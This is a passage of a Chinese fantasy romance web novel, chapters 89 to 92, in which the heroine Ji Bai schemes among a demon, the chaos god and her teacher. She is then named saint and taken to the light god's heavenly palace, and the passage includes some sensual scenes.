她倒也不是情感上觉得很害羞和别扭,相反她很喜欢,可赫瑞特的技巧实在是出神入化,仿佛天生就是引人失控的春药。 “吻这里有什么不对吗?”赫瑞特抱着季白的腰让她坐在自己的跨上,随后他一只手搂着她的腰,一只手撑着身下的羽翼, 她全身的肌肉都紧绷着,只觉好似有什么东西要泄出来,她的手死死抓着他的头发,几缕阳光透过羽翼的缝隙落在她的眼前。 季白盯着眼前的那缕阳光,只觉自己就好似在那阳光中飞舞的细小尘埃,而赫瑞特就是控制着尘埃的风流。 风快速尘埃就狂舞,风缓下尘埃就缓慢地流动着,突而,一阵狂风袭来吹得尘埃悉数从羽翼中的小缝泄了出去。 季白眼神恍惚地看着身下带着银质面具的青年,那双绿眸在昏暗的环境下好似一对发光的翡翠,眼底是沉沉的,凶狠的,还未餍足的情欲。 他蓦地抬手将她拽入怀中,随后季白只觉一阵天旋地转赫瑞特就压在了自己的身上。 柔软湿润的唇贴在她的耳边,声音低哑而又蛊惑地问:“很舒服是不是,要不要……再来一次?” 季白的心狂跳了一下,随后意识到了一个非常重要的问题。 以赫瑞特的独占欲,这种时候他是绝不可能故意让泊里看清他们做了什么,不然……他也不会用翅膀把他们包裹起来。 “恶魔先生。”季白揽住赫瑞特的脖颈笑得纯良又无害,“你知道属于光明神的永恒之冠吗?” 89 第89章 赫瑞特墨绿色的眼睛蓦地眯了眯,指尖掐着她的下巴,蓦地逼近了她,“永恒之冠,怎么,他连这个都给你了?” 季白抱着他的脖颈,讨好似的蹭了蹭他的脸颊,笑着说:“恶魔先生在想什么?我和光明神不熟,他怎么会送给我这个?” 赫瑞特盯着她的眼睛,似乎是在确定她有没有撒谎。 季白仰着脖子凑到赫瑞特的耳边神神秘秘地低声说:“我听说永恒之冠是光明神最重要的神器之一,它是不是很厉害?” 赫瑞特捏起一缕垂至他肩的发丝,挑眉道:“你想要神器?呵,黑暗神的神器不比光明神差。” “可是厉害的东西谁会嫌多呢?”季白笑着吻了下赫瑞特冰冷的银质面具,眼睛亮晶晶地说,“恶魔先生,你听我说,我现在有一个全新的好主意。” “光明神在我身上留下的这一刻印似乎是一样很重要的东西,或许我将来也有机会混入光明神所在的神宫呢。” 赫瑞特听到这儿绿眸冷得似是淬了冰,可季白的下一句话却又让他眼里的冰瞬间消融。 “不如,我去把它偷出来给你。” “偷出来……给我?”赫瑞特不可置信地看着她,这一瞬间的眼神像极了从来不被偏爱的孩子突然得到让人意外的嘉奖。 “对啊。”季白笑得明媚又灿烂,“你不是黑暗神身边的普通恶魔吗,如果你能得到光明神的永恒之冠,一定能得黑暗神重用,晋升为非常重要的优秀恶魔。” 季白抚摸着赫瑞特的脸颊,一半是滚烫的肌肤,一半是冰冷的银质面具,如水般的双眸温柔又缱绻地看着他。 “恶魔先生,我也想要帮帮你。” 此时此刻比起蛊惑人心的恶魔,反而是季白更像能诱人沉沦的女妖,可她刚刚又说得那样诚恳,那样真挚,好似满心满眼都只有他。 明知是陷阱也还是心动,明知是不可得的虚妄,却还是想再试一次。 赫瑞特的心不可自抑地砰砰直跳,面上却沉静地凝望着她,良久,他微哑的声音再次开口。 “帮我?呵,你这次又想怎么骗我?”他勾着季白的下巴低头吻了上去,低沉呢喃的三个字被淹没在了唇齿之间,“小骗子。” 季白仰着头主动迎合他的吻,断断续续地解释道:“我没有骗你,我是真的想要帮你。” “虽然不明白光明神为何会对我感兴趣,但我可以利用这次机会偷得他的神器给你。” 赫瑞特听到这儿揽着她腰的手蓦地一紧,随后重重吻了上去,似是要把自己所有的爱恋所有的思念所有的情感都倾注在这一吻中。 他并不稀罕什么神器,可他却拒绝不了来自她的偏爱。 “好,我帮你。”他低哑蛊惑的声音中带着几分微不可察的颤意,手指拨开她湿漉漉的发,绿色的眼眸直勾勾地盯着她,“但我这次要留个不容你背叛的契约。” 赫瑞特上一次一时心软听信了她的话,结果到手的人转头就先被光明神刻印了,他这次说什么也不会再放过她。 季白闻听此言,忍不住心头一跳,本能的就想要拒绝,但转念想到了自己额头上明晃晃的,不容忽视的来自光明神的鸢尾花刻印。 反正她身上已经有一个来自于神明的刻印了,好像再多一个也没什么大不了的。 季白吻了吻他的唇,说:“好啊,我很愿意和恶魔先生签订永不背叛的契约,将我这动荡不安的灵魂,脆弱渺小的生命抵押给你。” “只不过……”季白顿了顿。 “只不过什么?” “这个契约有办法做得隐蔽一点吗?”季白一脸单纯无辜地说,“如果他们从我身上察觉到黑暗气息的话,恐怕就不能混入神宫了。” 赫瑞特轻笑着吻上她的唇,“我保证除了你我之外不会有第二个人知道我们的契约。” 忽而掉落的黑色羽毛在赫瑞特手中化为一条黑色的小蛇,蛇身上纯黑的闪闪发亮的细小鳞片上折射出五彩斑斓的色彩,使它看起来神秘而危险。 赫瑞特手指一转,小蛇就隔着布料钻进了季白的心口,季白心口一凉,随后就传来阵阵酥酥麻麻的感觉,好似是那条小蛇正缠绕着她的心脏缓慢地游走。 “如果你背叛我。”赫瑞特在她耳边一字一句地说,“这条小蛇会代替我一口一口吃掉你的心。” 赫瑞特离开后,季白在原地站了许久,直至察觉不到赫瑞特的气息时,季白又小心翼翼地低唤着赫瑞特的名字。 “赫瑞特,你还在吗?我还有件事想和你说。” 季白唤了好几遍都没有得到赫瑞特的回应,当她确定赫瑞特已经离开后,转头就找了一座光明神像,双手合十,一脸虔诚地对着光明神像小声念叨着。 “伟大的光明神啊,我刚刚说得话都不是真心的,只是为了活命的无奈之举,您赦免了我的罪,救了我的性命,在我心中您是我唯一信仰的神明,我犹如向日葵永远追*随太阳一般追随着您。” “可您刚刚或许也看见了,我不知怎么就招到了恶魔的觊觎,我想要逃,却逃不脱,我这条命是您的,不能就这么死在他的手里。神啊,仁慈伟大的光明神啊,您一定会谅解我的求生之举吧?” 季白说到这儿,又突然睁开了眼睛,双手也无力地垂了下去,轻声说:“上次在沼泽我也是想让泊里不要管我,赶紧离开,可……可他却没懂我的意思,执拗地要带我一起离开,最后却死在了恶魔的手里,真傻,还有什么比性命更重要的事呢?” “我想,我或许永远也摆脱不了缠着我的恶魔了吧。”季白失落地伸手轻抚着光明神像的脚,“像我这样的人继续留在学院也只能给其他学生带来灾祸。” 季白顿了顿,又扬起头露出一抹如释重负的笑。 “所以……我打算离开这里了,我要跟着涅塞斯老师去学习魔法,或许等我有一天变得厉害了,就能彻底摆脱恶魔的纠缠。” “不过无论我去到哪里,我都记得和您的约定,我的性命与灵魂都属于您。” 季白话落又对着光明神像虔诚地做了一个祷告的动作,而后转身离开了这儿。 在季白转身的那一刻,如山一般死寂的光明神像忽地闪过一缕白光。 虽然途中发生了一段刺激的插曲,但季白还没有忘记自己原本的计划。 她快步前往教学楼去找查尔斯,正巧遇上下课的时间,一年级新生们如沙丁鱼般一个个涌了出来。 季白站在楼下等了一会,还没看见查奥斯,身后却突然传来一道熟悉的声音。 “姐姐,你是在找我吗?” 季白回过身去就对上娃娃脸的查奥斯,一双浅灰色的眼睛又大又圆地看着她,懵懂而纯澈的目光仿佛能扫空人类所有的不愉快。 季白顿时露出了一抹明媚的笑。 “是,我是在找你。” 查奥斯歪了歪头,笑得像是一个可爱而单纯的孩子。 “那我们去吃饭吧。”查奥斯说着上前一步牵住季白的手。 如果是别人做出这样的动作,季白多半还会怀疑对方的用心,可面对目前为止都表现得懵懂单纯的查尔斯,季白只当他是小孩子心性。 毕竟谁会怀疑一位连自己名字都记不住的小糊涂蛋别有居心呢? “好。”季白正好也有点饿了,就一面跟着查奥斯往食堂走,一面和查奥斯说起了正事。 “查奥斯。”季白说,“这可能是我最后一次陪你在奥斯俐学院吃饭了。” “为什么?”查奥斯顿时瞪圆了眼睛,“为什么是最后一次,姐姐以后都不来找我了吗?那我也可以去找姐姐啊。” 季白耐心解释道:“自从上次试炼结束后学院里的老师和同学们都看不惯我,我继续留在这儿也学不到什么有用的东西。” “涅塞斯老师是唯一愿意教我的老师,可也因为这一点涅塞斯老师也被院长开除了,所以我准备跟着涅塞斯老师离开这儿。查奥斯,你放心,我虽然不在奥斯俐学院上学了,但我会一直记得你。” “你是我的朋友,相信我们一定还会有机会再见的。我今天来找你就是想跟你告别。” 季白注意到她在说话时查奥斯始终保持着一个有点震惊又有点懵懂的表情,尤其被他那双又大又圆的眼睛紧盯着时,总有一种他好像没有听懂的迷茫。 季白联想到混沌神现在的状态就刻意放缓了语调慢慢说着,生怕他是真的没有听懂。 当她最后一个字落地时,查奥斯眨了眨眼睛,问:“所以……只要能留住涅塞斯老师,姐姐也会留下,对吗?” 季白愣了一下,没想到查奥斯虽然看起来迷糊,看问题竟然一针见血。 查奥斯见季白不语,又弯眸笑了笑。 “我可以帮姐姐啊,我去和院长说,让他不准开除涅塞斯老师。” 季白连忙问:“你又要用你的能力了?” 季白说到这儿,又试探性地问:“你应该明白……你有着不同与常人的能力吧?” 查奥斯没有回答季白的问题,只是笑着说:“不管是什么,只要我去和院长说,一定能留下涅塞斯老师。” 查奥斯的能力过于逆天,可他看起来又是这样的单纯无害。 季白忽而有些担心他,他这样肆无忌惮地使用自己的能力,难道真的不会被人类觊觎吗? 万一他出了事会不会影响自己的任务? 查奥斯话落,就调转方向朝院长办公室走去。 季白连忙抓住他的手,说:“别去。” 查奥斯不解地回头,“为什么?” 季白呼出一口气,难得严肃地和他说:“查奥斯,你不能再暴露自己的特殊了,如果被有心人发现,他们一定会利用你的。” “院长魔法强大,纵然你能成功,可难免不会引起他的怀疑。查奥斯。我不需要你为我涉险。” 查奥斯静静看着季白,有这么一瞬间季白好似从他的眼神中看见了许多挣扎的,痛苦的,迷茫的,不可说的混沌情绪,不是单纯的快乐和悲伤,而是一种会将人逼疯的混沌。 可这种感觉转瞬即逝,查奥斯弯眸笑着,干净纯澈的娃娃脸上是一览无余的单纯与明媚。 “那姐姐呢,姐姐为什么不利用我呢?” 【作者有话说】 说出来你们可能不信,我以为我发过了。当我拿起手机准备检查时却发现自己没有更新,当时都傻了,最后才发现复制到了网页上,但我忘记点击发布了。 90 第90章 查奥斯缓步朝季白靠近,脸上仍旧挂着单纯的笑。 他还是如同季白初次见他时的那样呆萌可爱,好似很好欺负的样子,就连头顶翘起的呆毛也不曾改。 可季白却敏锐地察觉到好似有什么东西不一样了。 他低下头,又圆又大的眼睛凑到季白面前,清浅温热的呼吸落在她的脸颊上,似是一阵潮热的风。 “姐姐为什么不利用我呢?”他又问了一遍,乌黑的瞳孔好似一块富有魔法的镜子,引诱蛊惑着人们去使用它,去拥有它,“他们都利用我,姐姐为什么不利用我呢?” 他单纯又无害,可爱又好骗,是最好利用的工具,也是人人都想拥有控制的宝物。 “查奥斯。”季白轻轻唤他的名字,可话还没说完就先被查奥斯堵住了唇,温热的手掌抵在她的后脑勺。 他不太会亲吻,只是凭借着想要与季白亲近的本能毫无章法地舔舐着她的唇瓣,可很快这样的吻也不能满足他,他钳着她的下巴迫使她抬起头,滑腻灵巧的舌尖探入她的口中。 人类的口腔很神奇,明明每天被各种食物,水源填塞着,可还是觉得不满足,会想要爱人的吻填补嘴里的空虚与寂寞。 湿润柔软的触感紧紧包裹着他的舌,刺激着他口腔里的每一处敏感点,初次接吻的查奥斯瞬间就沉醉在这一吻中,如同不知饱的小兽一般迫切地想要更多。 “姐姐。”他粗喘着看着她,眼睛亮得像是一只可爱的小狗,“你和他们不一样,我愿意被你利用。” “姐姐……”查奥斯温热的手掌贴在她的后腰,下巴轻蹭着她的头顶,撒娇道,“我想帮你。” 他滚烫灼热的身子紧贴着季白,肌肤之下是他紧绷且结实的肌肉。 这无一不在提醒着季白,无论查奥斯的外表如何可爱呆萌,他也是一位发育正常的男性了。 季白垂下眼帘沉思几瞬后,抬手摸了摸查奥斯的发顶,轻声问:“你说的他们是指谁?难道你之前有被别人发现过吗?” 查奥斯立直了身子,乌黑的眸中闪过几分迷茫,随后说:“我记不太清了。” 他嘴角扬起一抹笑意。 “不过经常有人找到我请我给他们帮忙。” “如果我不同意的话就会一直关着我,不给食物也不给水喝。”查奥斯说着还撩起了袖摆露出身上新伤叠旧伤的伤疤,“还会派人一直打我,直至我同意为止。” 季白先前觉得泊里已经是非常惨的神明了,没想到查奥斯也不遑多让,甚至比泊里还要惨得多。 “你……”季白伸手轻抚着他胳膊上坑坑洼洼的疤痕,“还疼吗?你是怎么跑出来的?” 季白还记得第一次见查奥斯的场景,他的穿着打扮像极了一位金尊玉贵的贵族少爷,怎么看也不像是经历过那么多可怖折磨的样子。 “姐姐是在担心我吗?”查奥斯垂眸看她,身子不自觉地朝季白的方向贴近,又圆又大的眼睛直勾勾地盯着季白看,像极了一只殷殷望向主人的小狗,“没关系的,已经不疼了,很多人很多事我都记不太清了。” “只记得……”查奥斯轻声的,缓慢的说,“最后一家囚禁我的人是从拍卖市场将我买回去的,他把我关在暗无天日的地下室试图驯服我让我为他做事。” “我答应他们去王都改变国王的心意,他们一家欣喜若狂地带上金银珠宝与我朝王都赶去。”查奥斯说到这儿,顿了顿,唇角绽开一抹单纯稚嫩的笑意,可怎么看都让人莫名感觉到一股寒意。 “可是王都还没走到,他们……就全都疯了。” 查奥斯眸光一转又变得软萌可欺,只是那双乌黑的眼眸却落在了季白泛着水光的唇上,喉结微微滚动了下,眼中是迫切的渴求。 “姐姐,不聊他们了。” “你留下来好不好?或者……我和姐姐一起去。” “我也可以做涅塞斯老师的学生。” 季白看了混沌神一眼,有些摸不准他到底是真的还是装的。 他看起来迷糊呆萌,可有时候一闪而过的诡异却又能惊得人心肝直颤。 季白思前想后,决定还是把查奥斯也一起带上,到手的任务目标还是放在身边最安心。 看涅塞斯的样子应该不会和她计较……这点小事吧? 季白说:“好,我答应你。我去和涅塞斯老师说带上你一起。” 查奥斯的眼神顿时亮了,探头就要凑到季白脸边吻她,季白连忙伸手挡住了查奥斯的脸。 “查奥斯,不可以乱亲别人。” 查奥斯一脸正经地说:“我没有乱亲,我只亲姐姐。” 季白:…… “姐姐不喜欢吗?”查奥斯微微侧了下头朝季白靠近,看着她的眼眸中闪烁着几分好奇与兴奋。 “可是我看见姐姐明明很喜欢和那个人亲吻不是吗?” 季白的头皮顿时炸开了。 查奥斯到底看见什么了啊! 他看见她和谁亲啊…… 毫无疑问,唯一的人选只能是赫瑞特。 可是他为什么会看见? 季白顿时觉得细思极恐,如果查奥斯能看见,那泊里呢? 泊里是不是也能看见,她的计划该不会出师未捷身先死吧? 在她愣神的功夫,查奥斯已经绕开她的手用脸颊轻蹭着她的脸了。 “姐姐,刚刚那样就叫亲吗?亲姐姐的感觉查奥斯很喜欢,难道姐姐不喜欢吗?” 查奥斯显然在这一方面很有天赋,刚刚还只是凭借着本能地横冲直撞,现在就已经会勾人了。 他如同小狗一般轻蹭着她的脸,用那双可爱的,无辜的大眼睛直勾勾地盯着季白看,直叫人看得心发软。 “姐姐,我们再试一次好不好?这一次姐姐或许会喜欢,还是说姐姐不喜欢和查奥斯亲,只喜欢……和那个人亲?” “查奥斯!你到底看见什么了?我和谁亲了?” 查奥斯眨了眨眼,“忘记了。” 季白一愣,气得恨不能捶他一下,这小子绝对是故意的。 然而下一秒,查奥斯就再次堵住了季白的唇,五指插入乌发按着她的后脑,忘情地拥吻着她。 他人长得可爱,可他的吻却是与外表不符的凶猛与霸气,似是要把她的所有都吞下一样。 等季白告别查奥斯时,她的唇是又红又肿,她无奈地摸了摸嘴巴,轻叹一声,本来还以为糊里糊涂的查奥斯会简单很多,没想到他疯起来也是够让人喝一壶的。 季白一路只顾着低头走路,完全没有注意到学院里的变化,忽而有一人拦住了她的去路。 “圣女殿下。” 季白先是一愣,随后朝自己身后看了一眼,身后没有人,复又认真打量着眼前身着神殿圣袍的人。 “你是谁?” “尊敬的圣女殿下,我是光明神殿的牧师巴奈,奉教皇之命接圣女殿下回神殿。” “圣女殿下?”季白问,“你是在喊我?” 季白估摸着应该是泊里做了什么,所以她才突然成了光明神殿的圣女,和她额上的刻印有关吗? 巴奈点了点头,而后轻挥手中魔杖就见季白额间的鸢尾花圣光大胜。 巴奈一脸尊重地说:“您是被光明神选中的人,因而教皇特意派我请您回神殿。” 季白这边的动静早已吸引来了不少下课的学生,他们纷纷围了过来,不可思议地看着季白摇身一变成了圣女。 她不是邪恶的爪牙,背叛光明的罪人吗,怎么转瞬间就被光明神选为圣女了? 众人七嘴八舌地议论着,有人为艾莉丝不平,也有人感慨季白的好运。 说话间,季白就见一辆由众多黄金骑士所护卫的马车徐徐驶来,声势浩大到宛若是某种登基仪式。 “圣女殿下,请吧。” 巴奈弯下腰朝季白做了个邀请的手势,而从他所指的方向中看出去时就看见黄金骑士们队列整齐地在人群中开辟出了一条无人敢擅闯的宽阔道路。 “天呐,这也太好运了吧,什么都不用做就能成为圣女了?” “好羡慕,那可是圣女啊,百年一选的圣女,可以近身侍奉光明神的圣女啊。” 各种艳羡的声音纷至沓来,季白捏了捏手指,问:“我能不去吗?” 季白还是想先跟着涅塞斯学习魔法。 光明神殿之前还想杀她,如今贸然前往它们的主殿,还不知是福是祸。 像她这样凭借光明神的喜欢就空降为圣女,恐怕殿内也有许多人不服气。 若她能得到涅塞斯的传承,别人就算想要对她下手也不会是她的对手。 巴奈惊愕不已,“您说什么,您不想去?” 圣女是多少人求而不得的位置,某种程度上她甚至比教皇还为尊贵,可这位普通的人类少女竟然说不想去? 季白解释道:“我……我不是不想当圣女,只是我现在实力不济,我想先完成学业再回神殿。” 巴奈脸上的惊愕淡了几分,原来只是担心自己的实力。 他眼中多了几分笑意,道:“圣女殿下不用担心,等到了神殿会有教皇亲自指导您。” 巴奈说到这儿,脸上的笑容越发真挚。 “何况您在主殿待不了几天就会由教皇亲自送往神宫陪伴在光明神左右,跟在光明神身边还怕学不到东西吗?” 季白心中惊了一下,她以为圣女只需要待在人间就行,没想到泊里竟然直接把她弄上神宫了。 这么快的速度,该不会是泊里察觉到什么了吧? 季白心中有几分犹豫,若她拒绝了这次的机会,下次想进神宫是不是就难了? 季白正不知该如何选择时,突然在人群中看见了涅塞斯的脸。 90-100 91 第91章 巴奈见季白迟迟不答,眉头微微皱了皱,眼神不解地望着季白。 “圣女殿下,您到底在犹豫什么?” “光明神将这莫大的荣誉赐给您,您就该千恩万谢,感恩戴德的接受,全天下的数亿信徒都无一不渴望得到光明神的眷顾,您为何还要犹豫呢,难道……您并不崇敬信任伟大的光明神吗?” 巴奈说到这儿,眼中的笑意顿时一扫而空,神色顿时变得严肃起来,眼神似是老师看向不听话的坏学生一样。 “您这样无视光明神的心意,伟大的光明神会收回对您的眷顾,神主的光芒只照向全身心信任他的信徒。” 季白心中有了决断,冲着巴奈轻轻笑了下。 “我知道了,我老师还在那儿,我想去找他告别。” 巴奈闻言点了点头,并让开了路。 “圣女殿下请。” 季白快步走到涅塞斯面前,眼神愧疚地看着他。 “涅塞斯老师,我……” 涅塞斯没等季白把话说完,就先主动摸上了季白的头,嘴角噙着一抹温润的笑。 “没关系,你去吧。” “光明神殿的圣女……”他低声呢喃着,嘴角的笑意又深了几分,湛蓝色的眼眸如蓝天大海般宽容而温和,“不是你一直以来的心愿吗,如今你也算得偿所愿了,老师又怎能阻拦你?” “涅塞斯老师……”季白本就因失约而感到愧疚,如今听涅塞斯这么说,她的眼眶顿时红了。 “怎么了?”涅塞斯抬手抚了抚季白微红的眼睛,笑着打趣,“舍不得老师?” 季白上前抱住他劲瘦的腰身,脸颊贴在他微微起伏的胸膛上轻声说:“对不起,涅塞斯老师,明明答应了你要和你一起离开,结果……我却食言了。” “不过我一定会回来找涅塞斯老师的。”季白说着抬起头看他,“那时候涅塞斯老师还愿意当我的老师吗?” 涅塞斯眉眼带笑地说:“不管什么时候我都是你的老师。” 他抬起的手在空中顿了顿,随后揽在她的后背,轻声说:“我会等着你来找我,一直等你。” 涅塞斯的这句话让季白忽而想起了一个人,她忍不住抬眸看他,可他湛蓝色的眼眸中只有温和清澈的笑意,好似是没有半分阴霾的天空。 季白告别涅塞斯后,本也想和查奥斯说一声,但她在人群中看了一圈也没有找到查奥斯,看了眼还在等着的巴奈只得暂时放弃与查奥斯告别的想法。 季白正要同巴奈离开却突然看见了奥斯俐学院的院长,她心念一动,快步走上前去对院长说:“院长,我听说涅塞斯老师是因为教我而被学院辞退了?” 如今今非昔比,亲自被光明神选为圣女的季白再也不是之前他们口中的叛徒与黑暗的走狗。 可让院长不解的是,当初是光明神亲口说季白有问题,怎么还没几天反而又把这个与黑暗有染的罪人选为圣女了? 难道是光明神当初冤枉了季白,所以全知且仁慈的光明神在查清真相后就以此来作为季白受冤枉的补偿? 院长思来想去,也觉得只有这一种说法能解释光明神的反常。 不过无论是哪一种,眼前的季白都是他不能得罪的存在。 院长立即满脸堆笑地说:“圣女殿下,这都是误会,涅塞斯老师是全院最受欢迎的老师,我怎么会辞退他呢?我还正想着要给涅塞斯老师升职呢。” “是吗,那我就放心了。”季白笑了一下也没有戳破他的谎言,“希望我下次回来还能在奥斯俐学院看见涅塞斯老师。” 院长连连点头。 “一定一定。” 季白做完一切后回眸朝涅塞斯的方向看了一眼,恰巧对上了他看过来的目光,季白弯了弯眸冲他笑了笑,随后坐上了由黄金骑士护卫的马车。 涅塞斯站在人群里静静看着离去的马车,随着马车的逐渐消失,他眼底的光也彻底消失了。 吵嚷的人群逐渐散去,很快,偌大的空地就剩了涅塞斯一个人。 他正要抬脚往回走视线就在不经意间与不知道来了多久的查奥斯对上,两人谁也没有说话。 只不过他们脸上的表情,都绝非是季白平日里看见的那般亲和,那般可爱。 几根黑色的羽毛飘然而落,涅塞斯抬眸向上看去,就瞧见了慵懒地坐在树上的赫瑞特。 他还是如同往常一般打扮得夸张且华丽,是能随时前往最高规格的晚宴参加舞会的精致模样。 他垂眸冲着涅塞斯挑了挑眉,笑眯眯地说:“涅塞斯,你布局了这么久还是功亏一篑呢。” 涅塞斯嘴角噙着一抹笑意,“你不也是吗?到头来还是被泊里捷足先登了。” “那家伙做事还是一如既往的果决且强势啊。” 世人都只知道光明神仁慈且宽容,可只有他们几人深知泊里的底色。 柔软仁慈的光明可压不住可怖阴晦的黑暗。 赫瑞特冷嗤一声,后背华丽的黑色羽翅轻轻颤了颤,似是在兴奋,又似是在炫耀。 “我和你们可不一样。”赫瑞特说着远远看了一眼查奥斯,但又很快收回视线继续对着涅塞斯说,“这一次,季白的心中有我。” 他嘴角噙着一抹嘚瑟又愉悦的笑意,“她人虽去了光明神殿,可心却在我这儿……” 赫瑞特话还没说完,涅塞斯就有些忍不住地轻笑了一声,抬眸看他的眼神好似在看终于疯了的傻子。 他摇了摇头没有说话,可不言不语却胜过千言万语,气得赫瑞特差点捏碎身下的树枝。 “喂!”赫瑞特大喊一声,“你这个神真是的,好歹听神把话讲完,你以为我在和你开玩笑?我告诉你,我……” 赫瑞特突然住嘴,心中冷嗤一声,暗道,等季白把光明神的永恒之冠交给他,他一定要让这几个家伙看看,他才是季白心中唯一的人选。 另一边的季白已经抵达了光明神殿的主殿。 这儿比季白想得还要恢弘气派,远远望去就是洁白的一片,好似是来到冰雪的世界,又似是云层之上的天国。 “圣女殿下,教皇已经在等着你了。” 季白在神殿牧师的指引下来到一间纯白色的房间,房间里立着一尊巨大无比的光明神像,高度足有数百米,宛若一座直达天际的山峰。 在神像的脚下安静地跪着一位身着红袍的老者,那抹鲜艳刺眼的猩红在这洁白无暇的世界里显得格格不入,也显得与众不同。 老实说,季白对光明神殿的印象并不算好。 无论是当初在格兰城要用圣火烧死她的主教,还是后来在奥斯俐学院时众人的排挤,她总觉得如今的光明神殿压根不是光明神所期待的那样,而是长成了一个极端的,残忍的,压迫的可怕怪物。 当绝对的正义扩张到极致时,当人类不能允许一丁点的瑕疵时,正义比恶还要可怕。 随着最后一句祷告的落地,红衣老者转过身来露出一张慈眉善目的脸。 “你来了。” 季白轻轻点了点头,多说多错,在这种未知的情况下什么都不说就是最正确的选择。 红衣老者温和地笑了笑,随后递给她一本光明神录。 “和我一起念诵吧。” 第一天,季白陪着教皇念诵了一整天的光明神录。 第二天依旧如此,连着三天下来都是如此。 除此之外,教皇从不与她说多余的话。 第四天结束时,季白实在难以忍受了,忍不住询问教皇。 “教皇大人,巴奈说在我被送往神宫前你会教导我,难道我不需要学习厉害的魔法吗,每天只要念诵光明神录就可以了吗?” “觉得很无趣?”教皇放下书,温笑着问她。 这四天下来,季白从未看过教皇红过脸,生过气,他的脸上永远挂着祥和且仁慈的笑意,好似世间没有任何人任何事值得他动怒。 季白谨慎地回答:“并不是,我只是在想如今黑暗冥殿的势力越来越大,若有一日黑暗冥殿的人打过来,我们总不能靠着念诵光明神录退敌吧?” “圣女认为我们人类的魔法从何而来?” 这几日季白一直在看光明神录,自然知道这个问题的答案。 “光明神录上说,是神赐予了人类呼风唤雨,移山倒海的魔法。” 教皇点头。 “没错,我们所有的一切都来自于神的恩赐。”他转过头目光无比虔诚地看着巨大的光明神像,“所以我们只要把我们的一切都交给神,无条件地信奉他,听从他,自然会得到所有想要的一切,伟大而全知的光明神会给予我们最好的安排。” 教皇这番话说得像极了一位虔诚的信徒,听起来是没有任何问题的,可季白的心中却攀上了一丝诡异。 因为所有的一切都是神赐予的,所有他们不需要努力,不需要学习,只需要静静诵读着手里的光明神录等待神迹的降临吗? 季白垂下眼帘没有说话,良久,方又问教皇。 “教皇大人,那我要诵读多久光明神录才能前往神宫?” 教皇微微一笑,仁慈而宽容。 “明日,明日我与几位主教会亲自诵读祷告送你去往神宫。” 教皇脸上的表情明明没有任何问题,可季白却心中隐隐有几分不安,好似她要被送去的地方不是神宫,而是……人死后去的天堂一般。 92 第92章 次日,季白在巨大的光明神像下看见了密密麻麻的人群,教皇一身猩红色的长袍站在离光明神最近的位置,他的下首则是几位身着紫袍的主教。 众人见她来了,都极有默契地让开一条路。 季白侧眸朝两边看去,密密麻麻如蜂巢般的人群都转过头直勾勾地盯着她,他们眼底充斥着季白看不懂的神色,像是某种热切的渴求,又像是殷殷的艳羡,但更多的还是狂热的期待。 他们的眼神是如此的狂热与期待,脸上却面无表情,身子也如被定住的雕塑一般。 那种诡异不安的感觉又来了。 季白收回视线,抬眸看了眼如山峰般高耸的神像,神像的脸部已经完全没入了云层,只能看见他巍峨且强壮的身体,阳光落在他洁白且莹润的身体上折射出一种柔和的光,给季白诡异不安的心奇迹般地带来一种祥和与平静。 季白深呼了一口气,这里是泊里的地盘,无论下面的人如何奇怪,他们应该也不会胆大妄为到在泊里神像的脚下伤她。 “教皇大人。”季白问,“昨日不是说只需要几个主教吗,今天怎么来了这么多人。” 教皇温笑着回道:“神国之门已许久未曾对人间开启,他们都是前来朝拜的信徒。” 朝拜的信徒…… 季白低眸看了一眼,他们眼中是极致的狂热与期待没有错,可季白总觉得他们可以是朝拜的信徒,也可以是……闯入异世界的侵略大军。 这种莫名其妙的想法一出来后,季白就低笑着摇摇头,她在想什么呢。 光明神殿的人极端也好,残忍也罢,可对光明神的崇拜与敬仰却是做不得假的。 “圣女不必紧张。”教皇笑着说,“他们并不会影响到我们。” 教皇话落示意季白走到他们几人的中间,季白依言照做,她刚站定,就见教皇连同几位主教低头诵读祷告。 季白大概听了一下,都是一些对着光明神祈祷的话。 这样,真的有用吗? 季白歪了歪头,一脸好奇地盯着他们,下一秒,只见白光大闪,悠扬的,古朴的,空灵的,宛若能净化人类心灵的乐声从天空中传来。 季白抬眸看去,就见原本湛蓝的天空好像突兀地被人撕开了一道穿越时间与空间的裂缝,在裂缝那一头是凡人永远无法企及的另一个国度。 在那个国度没有生死,没有疾病,没有黑夜,只有永恒不变的快乐与甜蜜。 一扇高耸的厚重的天门随着乐声缓缓打开,阶下的信徒们无比虔诚且炙热地望着他们心中的乐园。 那是他们死后归去的地方,也是伟大的光明神居住的所在。 季白好奇地朝门后的世界张望着,泊里现在就在门后吗,那儿会有她要找的永恒之冠吗? 纯白的大门被彻底打开,季白最先看见的是八位传说中的天使,他们背后各个都生着洁白的八翼,只不过他们脸上的神色并不像传闻中的那样和善可亲,反而挂着不容侵犯的严肃与威凛,让人忍不住心中发寒。 “啊,是天使,是光明神身边的天使。” 季白眨了眨眼看着八位美丽且圣洁的天使扇动着翅膀向下飞舞,在降落到半空时,美丽的天使朝季白点了点,随后季白脚下就生出一团洁白的云朵,带着她向高空飞去。 脚下的声音越来越远,人影越来越小,等她升至前往另一个世界的大门时,她已经看不清脚下的人了,唯有那尊高耸入云的光明神像还历历在目。 季白突然明白神殿为何会修一个这般巨大的神像了。 待她身后的门彻底关闭时,身边冷若冰霜的天使忽而换了一张脸,各个一脸好奇地瞧着她。 “你就是被光明神选中的季白?” “哇,终于见到你了,你快说说,你对光明神做了什么,他为何会选择你?” “你长得也很漂亮哎,很少有人类会这么好看。” “听说你之前还和黑暗神有关系,他是威胁你了吗?实在是太坏了。你放心,你住在这儿,黑暗神不敢来找你的。” 大家围着她七嘴八舌地说着话,眼底是和善的笑意与好奇。 季白:…… 这变脸这么快的吗? “你们……”季白犹豫地问,“你们怎么像是突然变了个人?” 难不成天使下凡会被强制性地剥夺七情? 其中一位大眼睛的天使“噗嗤”笑了一声。 “不是我们变了个人。”他说,“光明神说过在凡人面前要保持威肃不能嘻嘻哈哈的。” 季白明白了,是上班和下班的区别。 “好了,别聊了。”为首的红发天使看起来像是他们之中地位最高的天使,“光明神还等着见她。” 季白听到这儿,心中蓦地一紧。 她虽然对泊里很熟悉,但对变成光明神的泊里却始终有种说不清道不明的惧怕。 她不太明白那是一种怎样的感情,可能是……先前对泊里的愧疚,也有可能是害怕被光明神抓包的不安。 季白跟着天使一路往光明神居住的主殿去,一路上,她一面琢磨着任务,一面观察着神宫的环境。 神宫内恍若一座四季常青的乐园,鲜花与果实随处可见,花丛中还可以看见嬉戏的精灵与天使。 这儿好似没有冷寂,没有悲伤,没有凋零,唯有永不逝去的春天与没有尽头的快乐。 